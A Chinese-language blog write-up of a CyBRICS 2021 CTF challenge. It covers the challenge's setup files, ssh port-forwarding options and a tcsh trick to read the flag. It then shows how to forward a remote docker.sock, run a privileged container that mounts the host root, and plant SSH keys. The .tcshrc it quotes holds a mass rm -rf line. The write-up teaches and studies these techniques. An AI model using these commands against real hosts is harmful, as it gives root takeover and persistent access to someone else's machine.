0%

ssh端口转发docker.sock

CyBRICS 2021 的一道题说起:rm -rf'er

Author: Vlad Roskov(@mrvos)

Alaram! We accidentally did rm -rf /* on a very important server. Now all that’s left is one shell session.

ssh [email protected]

Password: sa7Neiyi

Rescue the flag.txt file from one of the directories by only using your shell

从环境里把部署文件偷出来自己Van♂,

run.sh,

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

#### SETUP
# 1. useradd rmrfer -m
# 2. passwd rmrfer
# 3. adduser rmrfer docker
# 4. chsh rmrfer -s /home/rmrfer/run.sh
# 5. chmod +x /home/rmrfer/run.sh
# 6. touch /home/rmrfer/.hushlogin
# 7. docker build -t ctb10 .

exec /usr/local/bin/docker run --rm --cpus=0.25 --memory 16m --memory-swap -1 --ulimit fsize=2097152 --ulimit cpu=2 --pids-limit 16 -v /home/rmrfer:/etc/ctf:ro -v /var/empty:/etc/apt:ro -v /var/empty:/etc/pam.d:ro -v /var/empty:/etc/security:ro -v /var/empty:/var/lib:ro -v /var/empty:/usr/share:ro -v /var/empty:/usr/local:ro -v /var/empty:/usr/sbin:ro -v /var/empty:/usr/lib/x86_64-linux-gnu/perl-base:ro -v /var/empty:/usr/lib/x86_64-linux-gnu/gconv:ro -h buildbox -ti ctb10

Dockerfile,

1
2
3
4
5
6
7
8
9
FROM ubuntu

RUN apt update ; apt -y install tcsh

WORKDIR /home/rmrfer
COPY .tcshrc /root/.tcshrc
CMD ["/usr/bin/tcsh"]

# RUN rm -rf /etc/apt /etc/pam.d /etc/security /var/lib /usr/share /usr/local /usr/sbin /usr/bin/p* /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/gconv

.tcshrc,

1
2
3
4
5
6
7
8
9
/bin/rm -rf /.dockerenv /bin /boot /dev /etc /home /lib /lib32 /lib64 /libx32 /media /mnt /opt /root /run /sbin /srv /tmp /usr /var >& /dev/null
echo $HOSTNAME":"$PWD"# "
echo $HOSTNAME":"$PWD"# rm -rf buildroot /*"
echo $HOSTNAME":"$PWD"# "
echo $HOSTNAME":"$PWD"# "
echo $HOSTNAME":"$PWD"# OOOOOMFGGG"
echo "OOOOOMFGGG: Command not found."
echo $HOSTNAME":"$PWD"# ls -la"
echo "ls: Command not found."

SETUP 注释即为环境部署步骤(为本题的进阶题目 rm escaper给出信息)

以下为较关键点位,

  • adduser rmrfer docker

    给予 rmrfer 用户 docker 权限,这是一个危险的操作,可以利用 docker 组的 root 权限

    比赛时主办方是单独在一个机器上用 rootless 跑的,我复现时就没弄这个了

  • chsh rmrfer -s /home/rmrfer/run.sh

    指定 rmrfer 用户的登录 shell 为特定的 run.sh, 使得当我们使用 ssh 登录时启动 ctb10 容器

    需要解读的是以下参数,

    • -v /home/rmrfer:/etc/ctf:ro

      rmrfer 目录只读挂载到容器中的 /etc/ctf 目录,题目的 flag.txt 放在此目录下

    • -h buildbox -ti ctb10

      指定容器主机名为 buildbox 从 ctb10 镜像交互式启动,ssh 会话登录后获得的 shell 从容器得到

  • Dockerfile 可以看出我们获得的是 tcsh,startup file为 .tcshrc,题目描述中的 rm -rf /* 即由这个 shell rc file 实现

ssh 速查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#本地端口转发
ssh -L <ssh-client主机绑定的地址:端口>:<目标地址:端口> <ssh-server连接串>

#远程端口转发
ssh -R <远程地址:远程端口>:<目标地址:目标端口> <ssh-server连接串>

#动态端口转发
ssh -D <ssh-client主机绑定的地址:端口> <ssh-server连接串>

#保活
-o ServerAliveInterval=60 -o ServerAliveCountMax=3


$ ssh -NT -D 8080 host
#N参数,表示只连接远程主机,不打开远程shell;T参数,表示不为这个连接分配TTY。这个两个参数可以放在一起用,代表这个SSH连接只用来传数据,不执行远程操作

$ ssh -f -D 8080 host
#f参数,表示SSH连接成功后,转入后台运行。这样一来,你就可以在不中断SSH连接的情况下,在本地shell中执行其他操作。

$ ssh -C -D 8080 host
#C参数,表示将传输过程中的数据进行压缩。
#CfNT组合进行动态端口转发可以实现正向代理上网

根据使用需求进行参数之间的组合,应用可以看 https://blog.fundebug.com/2017/04/24/ssh-port-forwarding/

来看看 ssh manual 里面对 -L 这段,

text
1
2
3
Specifies that connections to the given TCP port or Unix socket on the local (client)
host are to be forwarded to the given host and port, or Unix socket, on the remote
side.

我们知道 Docker 是基于 C/S 架构的,使用 docker 命令时其实就是 Docker Client 与 Docker Daemon 的交互

默认情况下,当在主机上执行docker命令时,对docker daemon的API调用是通过位于/var/run/docker.sock的非联网UNIX套接字进行的。此套接字文件是控制在该主机上运行的任何docker容器的主API

不巧,本题环境 rmrfer 属于 docker 组,将 docker.sock 暴露到公网给了攻击者利用机会,

截图比较多,直接就从转发这里开始,顺带借用这个 shell 把原题思路展现,

1

1
ssh -L $PWD/docker.sock:/var/run/docker.sock [email protected]

只使用了 -L 参数,在获取 ssh 会话 shell 的同时进行转发,可以看到桌面上的 docker.sock 文件,

这是在敲下命令后创建的 socket ,$PWD 对应当前目录 /home/kali/Desktop

2

这里是预期的获取 flag.txt 内容的方法,

1
2
echo *
( echo $< ) < /etc/ctf/flag.txt

需要理解的点位是 echo *, 以及 $< 重定向,加括号的必要性,<flag.txt 作为输入

还有其他非预期不多表述,可以提一下的是 Sending Spam 的技巧,在输入密码回车后快速多次按下 Ctrl+CCtrl+Z 能够使得 rm 命令终止或暂停,不过比赛时由于国内网络连接题目地址的高延迟,Ctrl+C 无法成功而 Ctrl+Z 仍然可行

3

保持 ssh 会话端口转发,新开一个终端赏析两种连接方式

1
2
docker -H, --host list Daemon socket(s) to connect to
export DOCKER_HOST=unix://$PWD/docker.sock

未指定时默认使用本机的 Docker Daemon 即与 /var/run/docker.sock 通信(kali 本机)

而 -H 为当前命令指定要连接的 socket , DOCKER_HOST 环境变量设置后在当前 shell 中默认使用该环境中的 socket ,图中可以看到我们当前桌面目录的 socket 已经成功转发,连接到了 VPS 上的守护进程(Daemon)

这时我们已经可以操纵远程 docker 了,且 VPS 的 docker 并没有在 rootless 下运行,后果可想而知。

4

1
docker run --rm -ti --net host -v /:/host --privileged ubuntu bash

VPS 已经构建了 ubuntu 镜像,直接可以启动容器挂载,

--net 参数 host 使用主机网络,获取了 VPS 的主机名 vm-sh1, --privileged 稍后对比

5

可以看到,我们在容器中的操作成功在 VPS 上写入了 wow.txt

不仅如此,这里的 docker 组已经能肆无忌惮地玩耍了,甚至可以写公钥再从 casio 登录

6

7

如上,不指定 net 则以容器 ID 为主机名,

当在主机上暂停容器时,kali 端立刻退出 shell 且容器自动销毁

8

关于 --privileged 参数见下引用

1
--privileged Give extended privileges to this container

大约在0.6版,privileged被引入docker。

使用该参数,container内的root拥有真正的root权限。

否则,container内的root只是外部的一个普通用户权限。

privileged启动的容器,可以看到很多host上的设备,并且可以执行mount。

甚至允许你在docker容器中启动docker容器。

其实从 docker.sock 转发开始已经进入了该题目的二阶难度 rm escaper ,拿到主机名并挂载,可以读取到主机根目录下另一个 flag ,当然比赛时配置的 rootless 是无法搅屎的,想写直接 Permission denied

(不过官方讲的时候说的是 docker-in-docker 独立环境不影响其他选手做题?

我配的时候懒了点,可以直接改,也能揭露此举的危险性,拿给 cg 打的时候直接公钥塞进 casio 的 authorized_keys ,哭哭

9

比如这里进行了一个 flag.txt 的改(

10

——比赛环境下的二阶 flag,以及无法删除的 flag.txt


到这儿题目差不多解析完毕了,本来想好了写点后话的秃然忘了

然后发现截图里面 echo 没有出花括号,忘了,上机确认了一波 tcsh 关于 $< 的 feature

不过确实花括号被吃了,就这样吧,摆烂了🐶

11